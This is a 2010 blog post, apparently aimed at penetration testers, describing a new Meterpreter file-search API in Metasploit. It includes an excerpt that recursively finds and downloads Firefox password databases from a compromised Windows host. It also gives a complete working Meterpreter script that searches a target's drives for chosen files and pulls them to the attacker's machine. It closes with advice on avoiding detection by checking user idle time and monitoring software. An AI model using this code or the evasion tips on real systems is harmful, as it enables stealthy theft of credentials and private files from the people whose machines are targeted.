New Windows Meterpreter Search Functionality
Sunday, August 29, 2010 at 9:40AM
Carlos Perez

Yesterday Stephen Fewer committed to the development version of Metasploit code for the Windows Version of Meterpreter for searching thru the file system and using the index service of the modern versions of Windows. The advantage of having this capability as part of the standard API is that it gets executed at the host and only matched entries are returned, before this mode all entries where returned and they had to be evaluated on the attackers machine and depending on the type of connection, the distance and path to the target this is a very slow process and generates a lot of traffic that can give away the actions being taken.

Here is an example of a search using the method described before from the enum_firefox script

def frfxpswd(path,usrnm)
    @client.fs.dir.foreach(path) {|x|
        next if x =~ /^(\.|\.\.)$/
        fullpath = path + '\\' + x
        if @client.fs.file.stat(fullpath).directory?
            frfxpswd(fullpath,usrnm)
        elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i
            begin
                dst = x
                dst = @logs + ::File::Separator + usrnm + dst
                print_status("\tDownloading Firefox Password file to '#{dst}'")
                @client.fs.file.download_file(dst, fullpath)
            rescue
                print_error("\t******Failed to download file #{x}******")
                print_error("\t******Browser could be running******")
            end
        end
    }
end

As it can be seen on the first 6 lines of the code we have to use client.fs.dir.foreach and parse each entry and check that it is not the . and .. entries that are returned, then they are checked with client.fs.file.start(path).directory? to see if path is a Directory or a file, if it is a file we return it back to the function it self to search that directory, when a file is found its name is checked to se if it the file we are looking for and if it is we take the actions we want. This is very slow when we are dealing with a recursive search. Now if we want to search for files that match a specific pattern we can use client.fs.file.search(path,pattern,recursive) as you can see we pass to this call the path from where to start the search, if we provide as path nil it will search all drives, then we pass the pattern to search and last if we want the search to be recursive or not. This will return an array of hashes of what was found:

>> client.fs.file.search("c:\\","*.sys",false)
=> [{"name"=>"hiberfil.sys", "size"=>2139795456, "path"=>"c:"}, {"name"=>"pagefile.sys", "size"=>4284719104, "path"=>"c:"}]

As it can be seen the elements of the hash are name, path and size in bytes, if no file is found the length of the array will be 0 if a wrong path is provided an operation error 3 will be raised

>> client.fs.file.search("x:\\","*.sys",false)
Rex::Post::Meterpreter::RequestError: stdapi_fs_search: Operation failed: 3

One advantage provided by this call also is that on recent versions of windows like on Vista, 7 and 2008 it will use the index service and will give us the ability to search the Internet Explorer history and MAPI (email) entries. Just by specifying as the path for the search iehistory for Internet Explorer history and mapi for searching email entries. The entries found will be presented in the name element of hash. One important note is that when searching thru the MAPI and Internet Explorer entries recursive type search must be used. Now if we want to use this from inside Meterpreter we just use the search command:

meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d <opt> The directory/drive to begin searching from. Leave empty to search all drives. (Default: )
-f <opt> The file pattern glob to search for. (e.g. *secret*.doc?)
-h Help Banner.
-r <opt> Recursivly search sub directories. (Default: true)

The options are simple with the –d option we specify the path if none is given it will search all drives on the target machine. With the –f option we provide the search glob that will be user to match what file information will be returned to the attackers machine, the –r option with a given value of true or false to specify if the search will be recursive or not.

meterpreter > search -d c:\\ -f *.sys -r false
Found 2 results...
c:\hiberfil.sys (2139795456 bytes)
c:\pagefile.sys (4284719104 bytes)
meterpreter > 

Now lets create a small script to aid us in a pentest to find, select and download files from a target system.

Lets start by defining what we want the script to do:

· We got to be able to search for different things at once.

· We have to save the results to a file we can edit.

· We have to use the modified file to download those files we want.

· We have to provide a start directory for the search.

· We have to be able to control if the search will be recursive or not.

So lets start by declaring our variables and setting what the options of the script will be:

@client = client
location = nil
search_blob = nil
input_file = nil
output_file = nil
recurse = false
logs = nil
@opts = Rex::Parser::Arguments.new(
    "-h" => [false, "Help menu." ],
    "-i" => [true, "Input file with list of files to download, one per line."],
    "-d" => [true, "Directory to start search on, search will be recursive."],
    "-f" => [true, "Search blobs separated by a |."],
    "-o" => [true, "Output File to save the full path of files found."],
    "-r" => [false, "Search subdirectories."],
    "-l" => [true, "Location where to save the files."]
)

These variables will hold the values of the options:

· Location to hold the path of where the search will start.

· Search_blob to hold our seach blobs.

· Input_file to hold the file that we will feed the script for download.

· Output_file to hold the name and location of the file we will write the results to.

· Recurse will be a Boolean value to determine if the search will be recursive or not.

· Logs to specify where the downloaded files will be saved to.

We add the customary usage function:

# Function for displaying help message
def usage
    print_line "Meterpreter Script for searching and downloading files that"
    print_line "match a specific pattern."
    print_line(@opts.usage)
    raise Rex::Script::Completed
end

Next we check the version of Meterpreter to make sure we run on the Windows version and not the Java or PHP version that do not contain the search API call since it is not implemented on this versions.

# Check that we are running under the right type of Meterpreter, if not show and error mesage and make sure we have arguments if not show the usage of the script.
if client.platform =~ /win32|win64/
    if args.length > 0
        …………
    else
        usage
    end
else
    print_error["This script is not supported on this version of Meterpreter."]
end

Once we have all of our checks in place we will parse the options and populate our variables with the information that we need to get our tasks done.

@opts.parse(args) { |opt, idx, val|
    case opt
    when "-h"
        usage
    when "-i"
        input_file = val
    when "-o"
        output_file = val
    when "-d"
        location = val
    when "-f"
        search_blob = val.split("|")
    when "-r"
        recurse = true
    when "-l"
        logs = val
    end
}

You will see that for the –f option we are splitting the values given and returns an array with each element containing each of the search strings we want to search for. Now that we have populated the variables with the values of the options we passes to the script we can know perform the task for what we wrote the script for. First thing we will do is perform our search making sure we provided a source directory and we make sure our search blob array contains values.

# Search for files and save their location if specified
if search_blob.length > 0 and location
    search_blob.each do |s|
        print_status("Searching for #{s}")
        results = @client.fs.file.search(location,s,recurse)
        results.each do |file|
            print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
            file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
        end
    end
end

As you can see we will only write the results to a file if we provided an output file, by using the file_local_write Meterpreter mixin we make sure that if the file does not exist it will be created for us and save us from writing a function for writing what we want to a file. Now we will add the code for reading our file after we edited it and decided which ones we want to download.

# Read log file and download those files found
if input_file and logs
    if ::File.exists?(input_file)
        print_status("Reading file #{input_file}")
        ::File.open(input_file, "r").each_line do |line|
            print_status("Downloading #{line.chomp}")
            @client.fs.file.download(logs, line.chomp)
        end
    else
        print_error("File #{input_file} does not exist!")
    end
end

The script would be used to search for specific files, now one thing to consider when doing the searching is that searching all disk will cause I/O activity on the system that is bound to be detected if:

1. There is monitoring software in the case of servers.

2. A user is currently using the target machine.

So it is very important to check the idle time of the user on the box, check processes and installed software on that box to make sure your action will not be detected if you run the search thru out the system. A target search of the users profile is a better approach in the case of desktop system since Windows and applications tends to save most data in those folders, using the get_env script can aid in identifying the location of this folders since it will show user and system environment variables. Also do check the size of the files before downloading, you would not have much success trying to download a 2GB PST thru a 300kb connection. I do hope you found this blog post useful and informative.

Full script:

 

@client = client
location = nil
search_blob = nil
input_file = nil
output_file = nil
recurse = false
logs = nil
@opts = Rex::Parser::Arguments.new(
    "-h" => [false, "Help menu." ],
    "-i" => [true, "Input file with list of files to download, one per line."],
    "-d" => [true, "Directory to start search on, search will be recursive."],
    "-f" => [true, "Search blobs separated by a |."],
    "-o" => [true, "Output File to save the full path of files found."],
    "-r" => [false, "Search subdirectories."],
    "-l" => [true, "Location where to save the files."]
)
# Function for displaying help message
def usage
    print_line "Meterpreter Script for searching and downloading files that"
    print_line "match a specific pattern."
    print_line(@opts.usage)
    raise Rex::Script::Completed
end
# Check that we are running under the right type of Meterpreter
if client.platform =~ /win32|win64/
    # Parse the options
    if args.length > 0
        @opts.parse(args) { |opt, idx, val|
            case opt
            when "-h"
                usage
            when "-i"
                input_file = val
            when "-o"
                output_file = val
            when "-d"
                location = val
            when "-f"
                search_blob = val.split("|")
            when "-r"
                recurse = true
            when "-l"
                logs = val
            end
        }
        # Search for files and save their location if specified
        if search_blob.length > 0 and location
            search_blob.each do |s|
                print_status("Searching for #{s}")
                results = @client.fs.file.search(location,s,recurse)
                results.each do |file|
                    print_status("\t#{file['path']}\\#{file['name']} (#{file['size']} bytes)")
                    file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
                end
            end
        end
        # Read log file and download those files found
        if input_file and logs
            if ::File.exists?(input_file)
                print_status("Reading file #{input_file}")
                ::File.open(input_file, "r").each_line do |line|
                    print_status("Downloading #{line.chomp}")
                    @client.fs.file.download(logs, line.chomp)
                end
            else
                print_error("File #{input_file} does not exist!")
            end
        end
    else
        usage
    end
else
    print_error["This script is not supported on this version of Meterpreter."]
end
Article originally appeared on Security and Networking (http://darkoperator.squarespace.com/).
See website for complete article licensing information.